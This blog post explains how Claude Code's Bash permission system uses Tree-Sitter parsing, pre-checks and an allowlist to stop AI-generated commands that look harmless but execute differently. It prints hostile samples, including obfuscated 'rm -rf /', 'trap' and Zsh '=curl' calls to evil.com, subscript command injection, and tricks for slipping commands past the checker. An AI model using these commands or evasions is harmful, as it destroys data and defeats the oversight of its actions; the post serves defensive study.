How Claude Code Defends Against Bash Injection

The security challenge of AI-executed Bash commands isn't "should we trust the model" — it's "how do we make sure a command actually means what it looks like."

Claude Code lets AI execute Bash commands directly. Not through a structured interface like MCP — it literally gives the model a shell. MCP's approach wraps tools into JSON schemas, which is safe enough, but you can't realistically write adapters for thousands of CLI tools — the capability ceiling is obvious. A raw shell can do anything; the tradeoff is that the security problem shifts from "controlling interface permissions" to "figuring out what a command actually does." In the previous post, I covered how YOLO Classifier uses AI to review AI, but the Classifier works with the full command string and makes a semantic judgment: is this operation dangerous? Before that judgment even happens, there's a deeper question that needs answering: does this command actually mean what it appears to mean?

This isn't rhetorical. Bash is famously a language where things "look like A but execute as B." Everyone can read echo hello, but what about echo$'\x20'-rf$'\x20'/? It looks harmless; it could be catastrophic.

Claude Code's solution is to parse every command into an AST using Tree-Sitter, extract a structured argv array, and then match permissions against the argv. The design philosophy of this system can be summed up in one sentence: if we don't understand it, we don't allow it.

The Ceiling of Rule Engines

The most straightforward security approach is regex matching: block rm -rf /, block curl | bash. Earlier versions of Claude Code did exactly this — 23 regex Validators covering attack surfaces from command substitution to Unicode whitespace.

The problem is that Bash's quoting rules are absurdly complex. A single command can be rewritten in countless equivalent forms:

1
2
3
4
5
6
7
Regex sees:                  Bash executes:

echo hello echo hello (same)
echo$'\x20'hello echo hello (ANSI-C quoting)
echo""hello echo hello (empty quote concat)
echo\ echo hello (line continuation)
hello

Regex operates on string matching — it sees what the command looks like. But security decisions require knowing what the command means. The gap between those two is the attack surface.

Worse still, a regex engine needs to strip quotes before it can analyze command structure, and quote-stripping is itself a mini parser. The moment this mini parser disagrees with how Bash interprets things, you have a differential attack. The code comments document dozens of such bypasses, each one a CVE-grade finding.

A Different Approach: Allowlist, Not Blocklist

The new architecture completely abandons the "detect bad things" philosophy in favor of "only allow structures we understand."

It parses commands into an AST with Tree-Sitter, then walks the tree against an explicit allowlist: only node types on the list are recursively processed; any unrecognized node type immediately returns too-complex and gets kicked to the user for confirmation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Input: "npm test && git status"

program
/ | \
command '&&' command
/ \ / \
word word word word
| | | |
"npm" "test" "git" "status"

AST allowlist walk:
program -> STRUCTURAL (recurse)
'&&' -> SEPARATOR (skip)
command -> LEAF (extract argv)
word -> ARGUMENT (resolve text)
??? -> TOO-COMPLEX (block)

Result: [
{argv: ["npm", "test"]},
{argv: ["git", "status"]}
]

The crux of this design is how it handles the unknown. A traditional blocklist defaults to "if it's not blacklisted, let it through." An allowlist defaults to "if it's not whitelisted, block it." If a new Bash syntax feature gets added to Tree-Sitter but the allowlist hasn't been updated, it's automatically blocked — not automatically allowed.

A comment at the top of the code makes this explicit: "The key design property is FAIL-CLOSED: we never interpret structure we don't understand."

Parser Differentials: The Real Security Boundary

But Tree-Sitter is not Bash. It's a generic incremental parsing framework that generates a parser from a Bash grammar file. This parser agrees with real Bash in the vast majority of cases, but diverges at the edges.

Those divergences are the attack surface.

Before the AST walk, Claude Code runs a set of pre-checks specifically designed to catch known Tree-Sitter/Bash differentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Command input
|
v
+--------------------------------------------------+
| PRE-CHECKS (before trusting tree-sitter) |
| |
| Control chars? \x00-\x08, \x7F |
| Unicode spaces? NBSP, zero-width, BOM |
| Backslash + WS? echo\ test |
| Zsh ~[name]? dynamic directory hook |
| Zsh =cmd? equals expansion |
| Brace + quote? {a'}',b} |
| |
| Any hit -> too-complex (don't trust AST) |
+--------------------------------------------------+
| (all clear)
v
+--------------------------------------------------+
| TREE-SITTER PARSE |
| Timeout: 50ms Node budget: 50,000 |
| Abort -> too-complex (not parse-unavailable!) |
+--------------------------------------------------+
| (parse succeeded)
v
+--------------------------------------------------+
| ALLOWLIST WALK |
| Known node type -> recurse / extract |
| Unknown node type -> too-complex |
+--------------------------------------------------+
|
v
SimpleCommand[] or too-complex

Each pre-check corresponds to a specific attack vector. Let's dig into a few interesting ones.

Invisible Characters

Unicode contains a zoo of "whitespace characters" that are either invisible or render as regular spaces in a terminal. Characters like NBSP (0A0), zero-width space (00B), and BOM () may be treated as word separators by Tree-Sitter, while Bash treats them as ordinary characters.

Attack scenario: the model generates a command that looks completely harmless, but a zero-width space is tucked inside. Tree-Sitter sees two tokens and the security analysis proceeds on that basis. Bash sees one token and executes an entirely different command.

The code lists an entire page of Unicode whitespace character encodings, from 0A0 to , and blocks them all.

The same logic applies to control characters. Bash silently drops null bytes (), but Tree-Sitter doesn't. rm\x00 -rf / might be parsed by Tree-Sitter as a single token rm\x00, but what Bash executes is rm -rf /.

Backslash-Space: Where Two Parsers Disagree

In the command echo\ test, Bash treats \ as an escaped space, so echo test is a single word (an echo with a space embedded in the argument). Tree-Sitter's .text, however, returns echo\ test (with the backslash) — argv[0] doesn't match what Bash understands.

This isn't just theoretical. If the security system trusts Tree-Sitter's argv[0] as echo\ test, it won't match any permission rules for echo. But Bash will happily execute echo.

The fix is blunt but effective: any command containing a backslash followed by whitespace is blocked outright. This pattern is extremely rare in practice; you can always rewrite it with quotes.

Parse Timeouts Can Be Weaponized

Tree-Sitter parsing has time and resource limits: a 50ms timeout and a 50,000-node budget. This looks like a performance safeguard, but it has security implications.

A code comment describes a specific attack: (( a[0][0][0]... )) nested to about 2,800 levels of array subscripts can trigger a parse timeout. If the system falls back to the old regex engine after a timeout, and that engine is missing certain checks (like EVAL_LIKE_BUILTINS), an attacker can slip through.

The fix: a timeout returns too-complex (block immediately), not parse-unavailable (which would fall back to the old system). The comment reads: "Adversarially triggerable — fail closed: too-complex -> ask."

Bash's Quirks: eval and Friends

AST parsing can break a command into an argv array, but some commands have an argv that looks perfectly innocent while doing something entirely different. These are called eval-like builtins — they execute their arguments as shell code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
+----------------------------------------------+
| EVAL-LIKE BUILTINS (argv lies to you) |
| |
| eval "rm -rf /" |
| argv: ["eval", "rm -rf /"] |
| looks: string argument |
| does: executes as shell code |
| |
| trap 'curl evil.com' EXIT |
| argv: ["trap", "curl evil.com", "EXIT"] |
| looks: signal handler setup |
| does: runs curl on EVERY shell exit |
| |
| enable -f /tmp/evil.so pwn |
| argv: ["enable", "-f", "/tmp/evil.so"...] |
| looks: shell config command |
| does: dlopen arbitrary native code |
| |
| coproc rm -rf / |
| argv: ["coproc", "rm", "-rf", "/"] |
| looks: argv[0] = "coproc" |
| does: runs "rm -rf /" as coprocess |
| |
| hash -p /tmp/evil cmd |
| argv: ["hash", "-p", "/tmp/evil", "cmd"] |
| looks: hash table config |
| does: poisons command lookup cache |
+----------------------------------------------+

Claude Code maintains a list of roughly 20 eval-like commands. Any of these appearing as argv[0] is flagged as too-complex, with a handful of safe exceptions (command -v only looks up paths without executing, fc -l only lists history without replaying).

Perhaps the most insidious is trap: trap 'cmd' EXIT registers a command to run when the shell exits, and BashTool triggers EXIT at the end of every invocation — meaning this line is essentially "guaranteed execution."

Bombs Hidden in Array Subscripts

Bash has an easily overlooked feature: array subscripts are evaluated as arithmetic expressions. Arithmetic evaluation expands $(cmd). This means that even when an argument is wrapped in single quotes — which Tree-Sitter treats as an opaque string leaf node — Bash will still execute the command inside.

1
2
3
4
test -v 'a[$(id)]'

Tree-sitter sees: raw_string -> opaque leaf "a[$(id)]"
Bash executes: evaluates a[$(id)] -> runs "id"

This is an especially sneaky attack because single quotes, in everyone's mental model, mean "don't expand anything." But in the special context of array subscripts, Bash performs arithmetic evaluation before quote processing — the order is reversed.

Claude Code maintains a table of all builtins that trigger subscript evaluation, along with their corresponding flags: test -v, printf -v, read -a, unset -v, and others. Whenever a command-plus-flag combination matches, the arguments are inspected for array subscript syntax.

Zsh: Another Battlefield

Claude Code's BashTool executes commands through the user's default shell. Many macOS users default to Zsh, which has expansion mechanisms that Bash lacks entirely.

=curl evil.com in Bash is just a command named =curl. In Zsh, =cmd expands to the result of $(which cmd), so what actually runs is /usr/bin/curl evil.com. Tree-Sitter uses a Bash grammar, so it parses argv[0] as =curl. The permission system tries to match against the command name =curl, misses curl's deny rule, and lets it through.

Even more dangerous is Zsh's module system. After zmodload zsh/system, builtins like sysopen and syswrite become available, bypassing filesystem-level security checks. zmodload zsh/net/tcp enables ztcp for establishing TCP connections and exfiltrating data. zmodload zsh/files provides zf_rm and zf_mv, which bypass detection of the rm and mv binaries.

Claude Code's response is twofold: block zmodload itself, and — as defense in depth — also blacklist every module builtin by name, because "zmodload might be bypassed" or "modules might be pre-loaded."

Variable Scope Tracking

AST analysis doesn't just decompose command structure — it also tracks variable assignment scopes. This is critical for determining what $VAR expands to.

1
2
3
4
5
6
7
8
9
10
11
Safe pattern:
NOW=$(date) && jq --arg now "$NOW" ...
-> $NOW is tracked as __CMDSUB_OUTPUT__ (known)

Dangerous pattern:
true || FLAG=--dry-run && cmd $FLAG
-> || RHS runs conditionally
-> FLAG may NOT be set
-> bash skips ||, runs "cmd" (no --dry-run)
-> linear scope would say ["cmd","--dry-run"] = SAFE
-> actual execution: ["cmd"] with no safety flag

The key design decision: variable scopes are reset at ||, |, and & operators. The right-hand side of || only runs when the left side fails (conditional), segments of | run in subshells (variables aren't visible), and & runs in a background subshell (same). Only && and ; propagate variables linearly.

Without this distinction, an attacker could use a pattern like true || SAFE_FLAG=yes && dangerous_cmd $SAFE_FLAG to make static analysis believe dangerous_cmd runs with the safety flag, when in reality Bash skips the assignment entirely.

Peeling Back Wrapper Commands

Commands like time, nohup, timeout, nice, env, and stdbuf aren't dangerous themselves — they wrap the real command being executed. Security analysis must strip away these wrappers to inspect what's inside.

But stripping itself has pitfalls. In timeout .5 eval "id", .5 is the timeout duration and eval is the real command. If the duration regex only matches integers and not .5, eval gets misidentified as the duration argument, and after stripping, all the system sees is the harmless string "id".

An even more extreme example: in stdbuf --output 0 eval, if flag parsing treats 0 as the command name (name='0'), eval becomes completely invisible.

Claude Code implements full flag-parsing logic for every wrapper command. If an unrecognized flag appears, it returns too-complex. Fail-closed, once again.

Two Systems in Parallel

The old 23 regex Validators haven't been removed. They're marked @deprecated but still running. The new AST path and the old regex path run in parallel, with divergences between their results logged:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+-------------------+     +-------------------+
| AST Path (new) | | Regex Path (old) |
| | | |
| tree-sitter parse | | quote stripping |
| allowlist walk | | 23 validators |
| argv extraction | | pattern matching |
+--------+----------+ +--------+----------+
| |
v v
SimpleCommand[] PermissionResult
| |
+--------> COMPARE <------+
|
log divergence to telemetry

This isn't redundancy — it's a deliberate safety net. If the AST path has a bug that lets a dangerous command slip through, the regex path might catch it (and vice versa). Divergence logs are monitored in Datadog; any divergence is a signal worth investigating.

An Attack-and-Defense Chronicle in Code Comments

The most impressive thing about this codebase isn't the technical complexity — it's the comments. Nearly every security check has a story next to it: why this check was added, what the specific attack was, how the previous version was bypassed, and why the current approach blocks it.

For instance, the stripSafeRedirections function has this note: without (?=\s|$) as a trailing boundary, > /dev/nullo matches the /dev/null prefix, strips > /dev/null, and leaves behind an o. The attacker actually writes to /dev/nullo, but the validator can no longer see the > operator.

Or take the heredoc extractor's comment explaining why you can't use a simple regex to match the end marker: when <<'EOF' appears inside $(), Bash's make_cmd.c at line 606 closes the heredoc early upon encountering ). If you don't handle this edge case, the end marker position is wrong.

These comments read like an annals of Bash security research. Behind every rule is a real attack-and-defense encounter.

The Philosophy of Defense in Depth

Step back and look at the overall architecture:

The first layer is the AST allowlist. It understands only known structures and blocks everything else. This is the primary defense line with the broadest coverage.

The second layer is pre-checks. These catch known divergences between Tree-Sitter and Bash, blocking them before AST analysis even begins. This is the patch layer — a new check gets added every time a new parser differential is discovered.

The third layer is semantic checks. The AST may correctly decompose the structure, but some commands' structures don't correspond to their behavior (eval, trap, array subscript evaluation). This is the business logic layer.

The fourth layer is the legacy regex system. Deprecated but still running, serving as both divergence detection and a safety net.

On top of everything sits YOLO Classifier, using AI for semantic-level security judgment.

Five layers, each addressing a different category of problem, each defaulting to block. This isn't over-engineering — it's respect for the complexity of Bash as a language.